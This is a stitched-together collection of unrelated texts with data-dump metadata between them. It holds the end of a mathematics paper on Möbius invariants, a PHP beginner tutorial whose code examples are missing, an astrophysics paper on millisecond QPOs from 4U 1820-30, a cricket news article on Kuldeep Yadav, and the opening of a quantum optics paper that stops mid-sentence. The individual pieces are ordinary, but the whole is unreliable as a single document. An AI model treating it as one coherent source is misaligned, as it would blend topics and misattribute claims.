\begin{Example}In this example we illustrate the extreme sensitivity of the invariant signature by evaluating it on 9 very similar images, together with their M\"obius transformations. Each original image is a blob function generated as in Example~\ref{example3}, but with parameters varying only by~$\pm 5\%$. The M\"obius transformations have the form $1/(1 + c z)$ where $c$ is normally distributed with standard deviation~0.1. The 0.5-level contours of the original and transformed images are shown in Fig.~\ref{fig:10blobs1}, and their signatures in Fig.~\ref{fig:10blobs2}. The signature is extremely sensitive to tiny changes in the image, but not to M\"obius transformations.
\end{Example}
\begin{figure}[t!]\centering
\includegraphics[width=8cm]{10blobs1}
\caption{The 0.5-level contour of 9 very similar blob-like images are shown in blue, and of their M\"obius transformations in red. Only the central $80\times 80$ portion of the $161\times 161$ images are shown.}\label{fig:10blobs1}
\end{figure}
\begin{figure}[t!]\centering
\includegraphics[width=8cm]{10blobs2}
\caption{The invariant signature $(\arctan(\lambda_t/4),\arctan(\lambda_n/4))$ evaluated on the level set $f^{-1}(0.5)$ is shown for each of the images in Fig.~\ref{fig:10blobs1} (blue) and for their M\"obius transformations (red).}\label{fig:10blobs2}
\end{figure}
We do not have a full understanding of the properties of this invariant signature with respect to the criteria listed in Section~\ref{sec:invariants}. It is certainly fast, small, local, and lacks redundancy and suppression. It has a good numerical approximation on smooth (or smoothed) images. Is it complete? That is, given an image, does its signature surface determine the image up to a M\"obius transformation? Suppose we are given a small piece of signature surface, parameterized by~$(u,v)$, say. We are given three functions $\tilde f(u,v)$, $\tilde \lambda_n(u,v)$, and $\tilde \lambda_t(u,v)$, and need to determine (by solving three PDEs) three functions $f(x,y)$ (the image), $x(u,v)$, and $y(u,v)$ (the coordinates). Typically, the solution of these PDEs will be determined by some boundary data. This suggests that distinct images with the same signature are parameterized by functions of~1 variable; a~kind of near completeness that may be good enough in practice.
Although very sensitive, the fact that it is not continuous at critical points means that it does not have good discrimination in the sense of Section \ref{sec:invariants}. (It falls into the `more false negatives' region of Fig.~\ref{fig:diagram}.) Near nondegenerate critical points, the signature blows up in a well-def\/ined way, so it is possible that there exists a~metric on signatures that leads to robustness and good discrimination.
\section{Conclusion}
In this paper we have developed M\"{o}bius invariants of both curves and images, and proposed computational methods to evaluate both, demonstrating them on a variety of examples. In Section \ref{sec:invariants} we identif\/ied a set of properties that are important for invariants, principally that there was a small set of invariants that were quick to compute, numerically stable, robust (so that noisy versions of the same curve have similar invariants) and yet suf\/f\/iciently discriminatory (so that dif\/ferent objects have dif\/ferent invariants).
While dif\/ferential invariants are not generally robust when dealing with noise, they of\/fer good discrimination and are cheap to compute; this leads us to the M\"{o}bius arc-length. The cross-ratio is more robust, but requires a large set of points to be evaluated, and blows up as the pairs of points approach each other. In order to make this reparameterization-invariant, we used a Fourier transform. This lead to a method of computing M\"{o}bius invariants that satisf\/ies the properties that we have outlined, as is demonstrated in the numerical experiments, see particularly Fig.~\ref{fig:distancecorr}.
For images, the extra information means that it is possible to compute a relatively simple three-dimensional signature based on the function value at each point together with two functions of the M\"{o}bius arclength, along and perpendicular to level sets of the image intensity. It is computationally cheap, extremely sensitive to non-M\"obius changes in the image, but insensitive to M\"obius transformations of the image.
\subsection*{Acknowledgements}
This research was supported by the Marsden Fund, and RM by a James Cook Research Fellowship, both administered by the Royal Society of New Zealand. SM would like to thank the Erwin Schr\"odinger International Institute for Mathematical Physics, Vienna, where some of this research was performed.
\pdfbookmark[1]{References}{ref}
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{"url":"https:\/\/code.tutsplus.com\/tutorials\/learn-php-from-scratch-a-training-regimen--net-60","text":"Unlimited Plugins, WordPress themes, videos & courses! Unlimited asset downloads! From $16.50\/m Advertisement # Learn PHP From Scratch: A Training Regimen Read Time:8 minsLanguages: Holding the title of \"number one\", PHP is the most popular language among developers. Even still, many prefer different languages. Yours truly, for example, is most comfortable when working in the ASP.NET environment. However, because of the enormous success of Wordpress, more and more developers have decided to expand their horizons and learn yet another language. I happen to be one of those very people. As my clients increasingly ask for Wordpress implementation, learning PHP has become a requirement. I'm not alone in this endeavor. For those in the same boat, why not take the time and learn with me? ### The Mission Statement Over the course of the next few articles - to be posted each Wednesday - it is my intention to create a \"work-out regimen\" for all of us. If you've been meaning to learn, but haven't gotten around to it yet, now is the time! On the flip side, for those of you who are PHP ninjas, I respectfully request that you get involved and offer advice to the rest of us. If you've benefited from the dozens of tutorials on this site, take a few moments to give back, via the comments section. This will be your one-stop resource for everything PHP. Each Wednesday, I'll post a training article, as well as a list of resources that will help to explain the concepts in the lesson further. The key here is that I'm a beginner just like everyone else, relatively speaking. We can motivate one another to learn as quickly, and efficiently as possible. So, why would you learn from a beginner? Try not to think of it as me teaching you. Think of these articles as a community effort where we all help each other. I'll be learning from many of you in the same way that you learn from me. ### What Is PHP? PHP stands for Hypertext Preprocessor. While other languages, like Javascript, function on the client-side, your PHP code will execute on the server level. It works seamlessly with our HTML. Furthermore, your PHP can be embedded within your HTML and vice versa. The important thing to remember is that, no matter how complicated your PHP is, it will ultimately be output as simple HTML. ### Why Would I Use PHP? HTML is 100% static. By implementing PHP into your code, we can create dynamic sites that will change dependent upon specified conditions. With a community base second to none, this open-source language has proven itself over the years to be one of the best options for dynamic web applications. ### Is PHP Similar To Any Other Languages? Absolutely. I was pleasantly surprised as I began my training. If you have even a modest amount of knowledge when it comes to ASP.NET, Perl, Javascript, or C#, you'll find that you pick up the syntax quickly. ### What Do I Need To Get Started? You must have the following installed on your computer in order to begin. \u2022 Apache \u2022 MySQL \u2022 Web Browser \u2022 Text Editor \u2022 PHP ### WAMP, MAMP Yes, I'm sorry to say that there are a few more acronyms to learn. \"WAMP\" stands for \"Windows-Apache-MySQL-PHP\". It is an open source project that will allow us to download everything that we need to get started right away. If you're a Windows user, visit WampServer.com. On the other hand, if you're using a Mac (MAMP), you'll want to pay a visit to Mamp.info ### Video Training Our first stop will be at Lynda.com. Maybe more than any other resource, Lynda.com has provided me with a wealth of knowledge that I'll forever be grateful for. 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That will get you fit and primed for next week's lesson. ### The Basics In order to alert the server that we are working with PHP, you'll need to use the following syntax when adding PHP into your HTML documents: We start and end each PHP declaration with \"<?php\" and \"?>\", respectively. Refer back to your code and insert the following: Notice that in this second example, we kept everything on one line. Remember, PHP is not white-space sensitive. Here, we are telling the server to \"echo\", or write \"This is PHP in action\" onto the page. Each declaration in our code must have a semicolon appended to the end. Although HTML can be forgiving if you accidentally forget a bracket, PHP unfortunately is not. If you don't use the correct syntax, you'll receive an error. In this case, when we only have a single declaration, we could technically get away with leaving the semicolon off. But, it's always important to follow best practices. ### Defining Variables We can assign values to variables quite easily. Rather than using \"var\" (C# and Javascript), or \"dim\" (VB), we can declare a variable in PHP by using the \"$\" symbol. For instance, let's say that I want to assign the previous string to a variable called \"myVariable\". I would write...\n\nThis example will produce the exact same result as the previous two. However, in this scenario, we've assigned the string to the variable and then \"echoed\" the variable instead. Now what if I wanted to concatenate a variable and a string?\n\nBy using the period, we can combine variables and\/or strings.\n\nIf you're familiar with CSS and Javascript, you'll find that inserting comments in PHP is virtually the same.\n\n### Combining HTML With Our PHP\n\nAs said previously, remember that PHP and HTML can work in combination. Simply because we're in the middle of a PHP statement does not mean that we can't embed elements such as a break or strong tag.\n\nCreating functions in PHP is nearly identical to Javascript's implementation. The basic syntax is...\n\nIf we wanted to create a function that \"echos\" 10 plus 5, we could write...\n\nWe're creating a simple function that will output \"15\". We call the function with \"addNumbers(). In this case, we aren't using any arguments. Let's see how we can implement them in order to make our function more versatile.\n\nNow, our code is much more flexible. When we created our \"addNumbers()\" function, we added two arguments - $firstNumber and$secondNumber. The function will simply echo the sum of these two variables. When the function is called, we'll need to pass in our two numbers - addNumbers(10, 5). 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Be sure to spend at least an hour or so here.\n\nVisit Article","date":"2021-10-27 07:19:48","metadata":"{\"extraction_info\": {\"found_math\": true, \"script_math_tex\": 0, \"script_math_asciimath\": 0, \"math_annotations\": 0, \"math_alttext\": 0, \"mathml\": 0, \"mathjax_tag\": 0, \"mathjax_inline_tex\": 1, \"mathjax_display_tex\": 0, \"mathjax_asciimath\": 0, \"img_math\": 0, \"codecogs_latex\": 0, \"wp_latex\": 0, \"mimetex.cgi\": 0, \"\/images\/math\/codecogs\": 0, \"mathtex.cgi\": 0, \"katex\": 0, \"math-container\": 0, \"wp-katex-eq\": 0, \"align\": 0, \"equation\": 0, \"x-ck12\": 0, \"texerror\": 0, \"math_score\": 0.36146262288093567, \"perplexity\": 2090.4796390277206}, \"config\": {\"markdown_headings\": true, \"markdown_code\": true, \"boilerplate_config\": {\"ratio_threshold\": 0.18, \"absolute_threshold\": 10, \"end_threshold\": 15, \"enable\": true}, \"remove_buttons\": true, \"remove_image_figures\": true, \"remove_link_clusters\": true, \"table_config\": {\"min_rows\": 2, \"min_cols\": 3, \"format\": \"plain\"}, \"remove_chinese\": true, \"remove_edit_buttons\": true, \"extract_latex\": true}, \"warc_path\": \"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-43\/segments\/1634323588102.27\/warc\/CC-MAIN-20211027053727-20211027083727-00065.warc.gz\"}"} | null | null |
\section{Introduction}
For many nuclear equations of state, the surface of a neutron
star is expected to lie within the marginally stable orbit -
the radius within which no stable circular orbits exist within
general relativity (Klu\'{z}niak \& Wagoner 1985). Thus,
under certain conditions, the marginally stable orbit should
be dynamically important in determining the accretion flow
onto an accreting neutron star. The millisecond quasiperiodic
oscillations (kHz QPOs) discovered (Strohmayer et al.\ 1996;
van der Klis et al.\ 1996) with the {\it Rossi X-Ray Timing
Explorer} (RXTE) (Bradt, Rothschild, \& Swank 1993) in the
X-ray emission of neutron star x-ray binaries are likely
produced by motion in the inner accretion disk with the QPO
frequency related to the inner disk radius. Recently, it has
been suggested that the behavior of the kHz QPOs for certain
systems provides evidence for the existence of marginally
stable orbit (Kaaret, Ford, \& Chen 1997; Zhang, Strohmayer,
\& Swank 1997). The best evidence has come from the binary
4U~1820-30 (Zhang et al.\ 1998a).
Two simultaneous kHz QPOs are detected from 4U~1820-30 (Smale,
Zhang, \& White 1997; Zhang et al.\ 1998a). Both the upper
and lower QPO peak vary in frequency, but maintain an
approximately constant frequency separation. Zhang et al.\
(1998a) found that below a certain count rate, the frequency
centroids of both the upper and lower QPO peaks are correlated
with count rate, while above that count rate, the QPO
frequencies are roughly constant and are independent of count
rate. Saturation of QPO frequency at high mass accretion
rates had been suggested as a signature of the marginally
stable orbit (Miller, Lamb, \& Psaltis 1998; Kaaret et al.\
1997). A key question is whether the x-ray count rate is a
good indicator of the mass accretion rate and whether it is
robustly correlated with the QPO frequency. In general, x-ray
count rate is not a good indicator of mass accretion rate
(Hasinger \& van der Klis 1989).
Here, we present new observations of 4U~1820-30 made
simultaneously with RXTE and BeppoSAX and a new analysis of
archival RXTE observations. The new data show that the QPO
frequency is not robustly correlated with x-ray count rate in
4U~1820-30. Thus a better indicator of mass accretion rate is
required. We use energy flux and x-ray spectral shape as
indicators of mass accretion rate. Below, we first discuss the
observations and analysis. We then present correlations
between the QPO frequency and various indicators of mass
accretion rate. We conclude with a discussion of the results.
\section{Observations and Analysis}
We performed two joint BeppoSAX/RXTE observations of
4U~1820-30, on 1998 April 17-18 and 1998 September 19-20, for
a total of 100~ks of on-source observing time in each of
BeppoSAX and RXTE. We also reanalyzed the RXTE observations
described in Smale et al.\ (1997) and Zhang et al.\ (1998a).
For the timing analysis, $122 \, \mu$s time resolution event
data from the RXTE Proportional Counter Array (PCA) were used.
To search for fast QPOs, we performed Fourier transforms on
2~s segments of data with no energy selection and summed the
2~s power spectra within each observation interval. The total
power spectrum for each interval was searched for QPO peaks
above 200~Hz by fitting a function, consisting of a Lorentzian
plus a constant, for each trial frequency. Only QPO peaks
with a chance probability of occurrence of less than 1\% as
determined from an F-test were retained.
For the RXTE-only analysis, presented in Figs.~\ref{qpo_rate},
\ref{qpo_flux}, \ref{qpo_hc}, and \ref{hc_flux2}, we divided
the data into continuous segments with lengths near 1000~s.
In some cases several 1000~s of data were combined to allow
detection of weaker QPOs. For each interval, we calculated
PCA count rates in various energy bands using Proportional
Counter Units (PCUs) 0, 1, and 2 as these were on in all
observations. As the PCA response changed gradually over the
2 year span of these observations, we used fixed energy bands
and interpolated the count rates within fractional channel
boundaries. The x-ray colors in Figs.~\ref{qpo_hc} and
\ref{hc_flux2} were calculated from these rates. We also
found 129 channel PCA spectra for PCUs 0 and 1, which were
used to calculate the unabsorbed energy fluxes for the
2--25~keV band presented in Figs.~\ref{qpo_flux} and
\ref{hc_flux2}. Detailed analysis of RXTE spectral variations
and correlations with the QPOs will be given in Bloser et al.\
(1999).
\begin{figure}[tb] \showfig{\epsscale{0.9}
\plotone{qpo_rate.eps}} \caption{QPO centroid frequency versus
x-ray count rate in the RXTE PCA (full band PCA with
background subtracted). The diamonds indicate our new data
from 1998. The squares are observations from 1997 and the
crosses from 1996. The solid line is a best fit to the 1996
data in the count rate range $340-440 \rm \, c \, s^{-1} \,
PCU^{-1}$. The dashed line is offset by 83.5~Hz. The offset
of the 1996 versus 1998 data show that lower QPO frequency is
not robustly correlated with x-ray count rate.}
\label{qpo_rate} \end{figure}
For the simultaneous BeppoSAX/RXTE analysis we selected the
longest continuous segments, in order to maximize the
statistics in each spectrum. There are 26 simultaneous
segments, for a total of 62~ks. We searched for QPOs in the
PCA data and performed spectral analysis of the BeppoSAX data
for each segment. The spectral analysis is described in
Piraino et al.\ (1999). We chose to use a Comptonization
model (Sunyaev \& Titarchuk 1980) with an added single
temperature standard blackbody component and including
interstellar absorption to parameterize the spectra. For this
model, the temperature, $T_{c} = 2.83 \pm 0.08 \rm \, keV$,
and optical depth, $\tau = 13.7 \pm 0.5$, of the Comptonizing
electron cloud, the flux of the blackbody component, and the
absorption column density, $N_H = (2.8 \pm 0.3) \times 10^{21}
\rm \, cm^{-2}$, are constant within errors for all the joint
BeppoSAX/RXTE observation intervals (the uncertainties quoted
are the typical 90\% confidence uncertainty for individual
spectra). The values found for $\tau$ and $T_{c}$ are similar
to those observed previously (Christian \& Swank 1997), and
the parameters of the blackbody are similar to those found in
an ASCA observation of 4U~1820-30 in a low intensity state
(Smale et al.\ 1994). The blackbody temperature, $T_{bb}$,
and the total flux vary with QPO frequency as reported in
Piraino et al.\ (1999). Using this model, we calculated the
unabsorbed energy flux in the 0.3-40~keV band presented in
Fig.~\ref{qpo_saxflux}.
\begin{figure}[tb] \showfig{\epsscale{0.9}
\plotone{qpo_saxflux.eps}} \caption{Correlation of QPO
centroid frequency from RXTE observations with the unabsorbed
energy flux in the 0.3--40~keV band calculated from
simultaneous BeppoSAX observations. Only the lower frequency
QPO is shown. The QPO frequency appears independent of flux
above $8.3 \times 10^{-9} \rm \, erg \, cm^{-2} \, s^{-1}$.}
\label{qpo_saxflux} \end{figure}
\begin{figure}[tb] \showfig{\epsscale{0.9}
\plotone{qpo_flux.eps}} \caption{QPO centroid frequency versus
unabsorbed energy flux in the 2--25~keV band calculated from
the PCA spectra. The plot symbols indicate the epoch of the
observations as in Fig.~\ref{qpo_rate}. The line is a fit to
the data in the flux range $6-7.8 \times 10^{-9} \rm \, erg \,
cm^{-2} \, s^{-1}$. The lower QPO frequency appears robustly
correlated with energy flux at low fluxes and saturates at
high fluxes.} \label{qpo_flux} \end{figure}
\section{Correlation of Spectral and Timing Properties}
Zhang et al.\ (1998a) showed that the QPO frequency in
4U~1820-30 is correlated with x-ray count rate below a certain
critical count rate and that the QPO frequency saturates above
that count rate. This has been interpreted as evidence for
the existence of the marginally stable orbit. However, a
critical question, whether the x-ray count rate is a reliable
estimator of the mass accretion rate through the disk (Kaaret
et al.\ 1998), needs to be addressed for 4U~1820-30.
Zhang et al.\ (1998a) includes observations from 1996 and
1997, but the data which show a correlation between x-ray
count rate and the lower QPO frequency come from observations
which occurred within one 8~hour period in 1996. As the QPO
frequency versus count rate relation is known to change on
time scales longer than days (Ford et al. 1997a; Yu et al.\
1997; Zhang et al.\ 1998b; Mendez et al.\ 1999), it is
important to check this relation with additional
observations. Figure~\ref{qpo_rate} shows the QPO frequency
plotted versus PCA count rate for RXTE observations spanning 2
years. This plot shows both the upper frequency (above
1000~Hz) and lower frequency (below 850~Hz) QPOs. The varying
upper frequency peaks reported in Zhang et al.\ (1998a) appear
in the data, but have F-test values in the range 1--4\% and,
thus, are not included here. Both the upper and lower QPO
frequencies saturate at high count rates. Below a count rate
of $440 \rm \, c \, s^{-1} \, PCU^{-1}$, the lower QPO
frequency appears correlated with count rate. However, our
new data show a shift of the lower QPO frequency versus count
rate relation by $83.5 \pm 9.0 \rm \, Hz$ relative to the 1996
data. This shift indicates that the x-ray count rate versus
QPO frequency correlation is not robust in 4U~1820-30. Thus,
other indicators of mass accretion rate are required.
Fig.~\ref{qpo_saxflux} shows the relation between the lower
QPO frequency and the broad-band (0.3--40~keV) unabsorbed
energy flux calculated from the BeppoSAX data. The QPO
frequency appears uncorrelated with the unabsorbed energy flux
at high fluxes. The same behavior is seen for the absorbed
flux. As the broad-band spectral coverage of BeppoSAX allows
a reasonably reliable estimate of the total unabsorbed flux,
this indicates that the break in the QPO frequency versus
count rate relation is not simply due to a spectral change.
We also examined the QPO frequency versus flux relation with
the full RXTE data set, see Fig.~\ref{qpo_flux}. Due to the
PCA's lack of spectral coverage below 2~keV, reliable
estimates of the broad-band energy flux are not available, so
we chose to calculate the unabsorbed energy flux in the
2.0--25~keV band from the PCA data. The lower QPO frequency
appears correlated with flux in observations spanning 2
years. This is in contrast to the lack of robust correlation
between QPO frequency and flux in other sources (Ford et al.
1997b; Zhang et al. 1998b). In 4U~1820-30, the QPO frequency
saturates at high fluxes, consistent with the signature of the
marginally stable orbit.
\begin{figure}[tb] \showfig{\epsscale{0.9}
\plotone{qpo_hc.eps}} \caption{QPO centroid frequency versus
an x-ray hard color $C$ defined as the ratio of counts in the
9--22~keV band to that in the 6--9~keV band calculated from
the PCA data. Lower color values correspond to higher mass
accretion rates. The solid lines are linear fits of the lower
QPO frequency versus hard color for $C > 0.58$ and $C <
0.575$. The plot symbols indicate the epoch of the
observations as in Fig.~\ref{qpo_rate}. The lower QPO
frequency appears robustly correlated with x-ray color for
high color values, and saturates for low color values.}
\label{qpo_hc} \end{figure}
Kaaret et al.\ (1998) showed that the spectral shape at high
energies, above 5~keV, correlates well with QPO frequency for
the atoll sources 4U~0614+091 and 4U~1608-52. Spectral shape
is also generally accepted as a good indicator of mass
accretion rate in neutron-star low mass x-ray binaries based
on studies of their spectra and timing noise (e.g. Hasinger \&
van der Klis 1989; Schulz, Hasinger, \& Trumper 1989). The
ratio of counts in two energy bands, an x-ray color, can be
taken as estimator of spectral shape. In Fig.~\ref{qpo_hc},
we show the relation between QPO frequency versus a hard x-ray
color, $C$, defined as the ratio of counts in the 9--22~keV
band to that in the 6--9~keV band and calculated from the PCA
data. The lower QPO frequency is well correlated with x-ray
color when the spectrum is hard. There appears to be a break
to constant QPO frequency when the spectrum becomes softer
than a certain critical value.
To test whether the break in the QPO frequency versus hardness
relation is significant, we did linear fits of the lower QPO
frequency versus hard color for $C > 0.58$ and $C < 0.575$.
For $C > 0.58$, the linear correlation coefficient is
$-0.984$, corresponding to a chance probability of occurrence
of $1.4 \times 10^{-9}$, and the best-fit slope is $-6560 \pm
350 \rm \, Hz/color \, unit$. While for $C < 0.575$, the
correlation coefficient is $-0.012$, which implies that an
uncorrelated data set would produce a correlation coefficient
of this magnitude or larger with a probability of 0.97, and
the slope is $-97 \pm 1310 \rm \, Hz/color \, unit$. We also
fitted the entire data set for the lower frequency peak to two
models: a line and a broken line with saturation at a maximum
frequency. The $\chi^2$ improved with addition of the extra
parameter for the frequency saturation, $\Delta \chi^2 /
\chi^2_{\nu} = 28.74$. The addition of the extra parameter is
justified at a confidence level of $2 \times 10^{-6}$. Also,
the slope found in the broken-line fit agrees well with the
slope found from the linear fit for $C > 0.58$. Thus, the
evidence for the saturation in QPO frequency at low $C$, i.e.
high mass accretion rates, is highly significant when
evaluated using the linear correlation coefficients, the
slopes of the linear fits in the two color ranges, or the
decrease in $\chi^2$ with the addition of saturation to the
linear model.
\begin{figure}[tb] \showfig{\epsscale{0.9}
\plotone{hc_flux.eps}} \caption{X-ray hard color versus energy
flux, both calculated from the PCA data. The circles indicate
intervals during which kHz QPOs were detected. The hard color
versus flux relation has no features at the point where the
QPO frequency saturation occurs. The QPO at very high flux has
a centroid of $290.7 \pm 1.2 \rm \, Hz$ and a width of 13~Hz
and may indicate a direct detection of the neutron star spin;
however, the detection is not of high significance.}
\label{hc_flux2} \end{figure}
In most of the atoll kHz QPO sources studied, QPOs are
detected only down to some minimum hard color (e.g. Mendez
1999). The QPOs generally disappear near, or just beyond, a
turning point in the color-flux or soft color-hard color
diagram and near the cutoff the QPO frequency varies over a
wide range, 200-300~Hz. In 4U~1820-30, the QPOs disappear at
a hard color near 0.56 where there is a break in the
color-flux relation, see Fig.~\ref{hc_flux2}. This is similar
to the behavior seen in other sources, although the range of
the QPO frequency variation near the QPO disappearance is
smaller in 4U~1820-30.
The saturation of QPO frequency in 4U~1820-30 occurs at a
hard color near 0.58, significantly higher than the hard
color where the QPOs disappear. The saturation occurs at a
position in the color-flux (or color-color) diagram where
other kHz QPO sources show a good correlation between QPO
frequency and hard color, and is thus markedly distinct from
the behavior seen in the other kHz QPO sources. The fact
that the QPO frequency saturates while the hard color
continues to increase suggests that the break in QPO
frequency seen in 4U~1820-30 is distinct from the QPO
behaviors seen in other sources. Because QPO frequency is
well correlated with hard color in most kHz QPO sources and
because x-ray color is thought to be a good indicator of mass
accretion rate, the break in the QPO frequency versus x-ray
hard color relation strengthens the interpretation of the
transition to constant QPO frequency in 4U~1820--30 as
evidence for the marginally stable orbit.
\section{Discussion}
Interpretation of the kHz QPO data as evidence for the
detection of the marginally stable orbit requires that the
mechanism producing the kHz QPOs have a frequency which
increases monotonically as the inner disk radius decreases.
Keplerian orbital motion, sub-Keplerian orbital motion,
perhaps due to radiation pressure, or coherent phenomena, such
as sound waves or disk oscillations modes, would all give the
requisite dependence of QPO frequency on inner disk radius.
In any of these cases, the sharp break in the mass accretion
rate dependence of the QPO frequency in 4U~1820-30 requires a
correspondingly sharp break in the dependence of inner disk
radius on mass accretion rate.
The transition in QPO behavior versus x-ray hard color shown
in Fig.~\ref{qpo_hc} occurs over an interval only slightly
larger than the typical accuracy of the hard color
measurements. Thus, the break must occur over a narrow range
in mass accretion rate. A change in disk structure could
produce a change in the dependence of QPO frequency on mass
accretion rate (Zhang et al. 1998b). However, it is unlikely
that a change in disk structure would produce a change to a
fixed inner disk radius that then remains constant as the mass
accretion rate continues to increase. It is possible that the
break is due to some special orbital radius other than the
marginally stable orbit. Ghosh (1998) recently discovered an
accretion disk instability that occurs in a fixed annulus
covering radii of $14-19 \, GM/c^2$ for a neutron star mass
$M$. However, the instability is important only for gas
pressure dominated disks, and is unlikely to be important for
4U~1820-30 as the mass accretion rate is of order 0.1 of the
Eddington rate, and thus the disk is likely radiation pressure
dominated.
An alternative explanation, that the accretion disk is
terminated at the neutron star surface, is rejected because
the high coherence, $\nu / \Delta \nu \sim 30$, of the QPOs
requires a life time for the phenomena producing the QPOs of
at least 30 orbital or rotational cycles. Any spatially
localized or coherent phenomena at the inner edge of the disk
would be rapidly disrupted by the viscous stress and magnetic
fields at the neutron star surface if the disk is terminated
at the stellar surface (Miller et al.\ 1998). Thus, the
observed coherence could not be maintained. Another
alternative explanation, that the mass accretion rate
independent QPO frequency is the spin frequency of the neutron
star, is rejected because, based on the persistent emission
and x-ray burst QPOs detected from other atoll sources, the
spin frequency of 4U~1820-30 is most likely within a few 10~Hz
of the QPO difference frequency of 270~Hz.
The QPO frequency above the critical mass accretion rate is
not constant, but appears to vary over a fractional range (for
the upper QPO) of approximately 5\%. Analysis of accretion
disk flow across the marginally stable orbit (Muchotrzeb 1983;
Muchotrzeb-Czerny 1986) shows that if the inner disk radius is
driven near the marginally stable orbit, then the inner disk
radius varies over a range consistent with the observed QPO
frequency variations (Kaaret et al.\ 1997).
We conclude that the observations of millisecond QPOs in the
x-ray emission from 4U~1820-30 provide the first strong
experimental evidence for the existence of the marginally
stable orbit.
\acknowledgments
We gratefully acknowledge the efforts of Evan Smith (RXTE
mission planner) and the BeppoSAX mission planning team in
coordinating the observations. We thank the referee, Hale
Bradt, for many useful comments. PK and SP acknowledge
support from NASA grants NAG5-7405 and NAG5-7334.
| {
"redpajama_set_name": "RedPajamaArXiv"
} | 3,160 |
IND v SA, 3rd ODI : Not disappointed over T20 World Cup non-selection; working on processes : Kuldeep Yadav
New Delhi , 12 Oct 2022
India left-arm wrist-spinner Kuldeep Yadav remarked that he was not at all dejected over his non-selection for the upcoming T20 World Cup, starting in Australia this month and insisted he's working on his processes on match-by-match basis apart from a boost in confidence.
"I am not disappointed (over not getting selected) in the T20 World Cup as I am working on my process match by match. I am assessing how I can improve. My confidence improved after the IPL. I went to the West Indies and bowled well there."
"I bowled well in Zimbabwe, too, and for India A recently. I've always had confidence. Wickets or the lack of them don't reflect the confidence I have. Throughout the series, I was bowling as well as I wanted to bowl.
My confidence has gone up," said Kuldeep in the post-match press conference.Kuldeep had suffered a knee injury during the second half of IPL 2021 and had to undergo surgery for the same, keeping him out of action for a long time.
After he made a comeback through the ODIs against the West Indies, Kuldeep shined in IPL 2022, picking 21 wickets for Delhi Capitals, becoming the fifth leading wicket-taker in the competition.A hand injury saw him miss the five T20Is against South Africa at home, followed by short series against Ireland and trip to England.
Since his comeback through five T20Is against the West Indies, Kuldeep has been looking at his best. He mentioned that working hard on his rhythm and zero compromise on his ability to spin the ball post comeback from injury is bringing him the desired results.
"I have worked on my rhythm after coming back from injury. That's the reason I could increase the pace of my deliveries. Earlier, I used to impart pace on the ball from my shoulder. But now I got the rhythm to vary the pace.
I got the confidence from the IPL. But my focus has always been on getting the ball to spin. I'm not compromising on the spin. I'm getting good turn and batsmen are not getting so much time to play the deliveries, so I'm working on that."
Kuldeep, who starred in India's seven-wicket ODI series decider victory in New Delhi with a brilliant 4/18, signed off by explaining the difference between him bowling in 20-over and 50-over formats. "I now know the difference between bowling ODIs and T20Is, which I realised during the IPL and in the subsequent T20 matches I played.
When I was playing first match in Zimbabwe, my pace and rhythm was as per the T20 format.""Suddenly, I had to change as the batter has a lot of time to play a shot and won't play much of them. So I had to realise that varying my pace was very important, like oscillating between slow and fast is very important apart from difference in flighting and batter trying to get runs against you."
"In T20s, you need to keep hitting the right lengths. It is very rare that you flight the deliveries as if a batter is under pressure, you would want to flight the ball. With IPL and so much cricket around, I try to hit the length as much as I can and at same pace so that batter doesn't get time to play. In ODIs, it's totally different as varying pace becomes very important."
Tags: Sports News , Cricket , Cricketer , Player , Bowler , Batsman , Kuldeep Yadav , IND Vs SA , India Vs South Africa , 3rd ODI , ODI Series , T20 World Cup , T20 World Cup 2022 | {
"redpajama_set_name": "RedPajamaCommonCrawl"
} | 1,575 |
\section{Introduction}
In recent times, Einstein's postulate of light quanta has endured unquestioned by all but a few cautious investigators. It is no wonder since these days we have PNR detectors which very clearly and plainly demonstrate the particle nature of light by the multimodal structure of photon statistics. What could this characteristic intimate \textit{other} than the particle nature of light? The bubble paradox, another of Einstein's gedanken experiments, exhibits the conundrum of light particle locality, energy conservation, and quantum state collapse. The connection between this gedanken experiment and PNR detectors is particularly illustrative and worth revisiting at the end of this work.
In the generally accepted interpretation of photon-number-resolving (PNR) detectors, the multimodal output of the detectors has been deemed to be \textit{prima facie} evidence for light particles. The success of linear quantum optical computing \cite{KLM2001,Slussarenko2019} as well as the security certification for quantum networks \cite{Brassard2000} relies on this interpretation of PNR detectors. PNR detectors utilize simultaneous detections of photons to gather information on input photon states. Various states of light from appropriate sources can be detected by PNR detectors which, in turn, output the photon number distribution of the input light, a crucial measure for exploiting the unique qualities of quantum light \cite{Sergienko2008}. Needless to say, an acceptable signal-to-noise ratio (SNR) is paramount for accurately resolving photon number. Typical calculations of the SNR of PNR detectors are encapsulated by the ratio of light counts to dark counts. However, an additional source of noise constituted by so-called ``accidental coincidences'' manifests in calculations of SNR for intensity interferometers (IIs). In this work, we argue that due to the similarity in design and operation of PNR detectors and IIs, that accidental coincidences should be incorporated in SNR computations for PNR detectors.
It is safe to say that the stance for the existence of light particles in its dualistic form has been the prevalent view since the first quarter of the 20\textsuperscript{th} century \cite{Einstein1905,Dirac1927}. Blackbody radiation, and the photoelectric and Compton effects were the first three phenomena constituting evidence that the electromagnetic field is quantized. More subtle effects found later solidified this position such as spontaneous emission, the Hanbury Brown and Twiss effect,\cite{HBTsir1956} the Hong-Ou Mandel effect,\cite{HOM1987} etc. However, in 1963 Sudarshan noted the equivalence between the semiclassical and quantized field descriptions of statistical light beams.\cite{Sudarshan1963} Several years later Lamb and Scully derived a semiclassical model where the field is treated classically while the detector is marked by quantized behavior. In this way, the photoelectric effect, previously interpreted as evidence of a quantized light field could also, in fact, be seen as evidence of a semiclassical paradigm.\cite{LambandScully1969} Moreover, since Lamb and Scully's semiclassical model, the aforementioned phenomena have lost their status as exclusively explained by a light particle picture.\cite{Mandel1976,Milonni2019, Raman1928,Cercignani1998,Bourret1973,Camparo1999}
The measurement of correlations between detectors has occupied a pivotal position in the field of quantum optics in no small part due to its crucial role as a powerful method for extracting experimental evidence concerning the degree of optical coherence of a system.\cite{Glauber_21963,Glauber_11963,MandelWolf1995} The work of Hanbury Brown and Twiss largely founded the practice of such correlation measurements \cite{HBT1954, HBTsir1956, HBTcoh1956}. The IIs used in their work incorporated pairs of detectors to measure correlations ($g^{(2)}$), thereby quantifying the degree of spatial coherence of stellar sources as a function of detector separation. This technique was used to successfully ascertain the angular dimension of the sources.
Generalizations to higher numbers of detectors and, as such, access to higher order correlations has been explored theoretically by Malvimat \textit{et al.} \cite{Malvimat2014}. They found that the SNR (in dB) of a generalized intensity interferometer using $N$ Geiger-mode single-photon detectors scales as
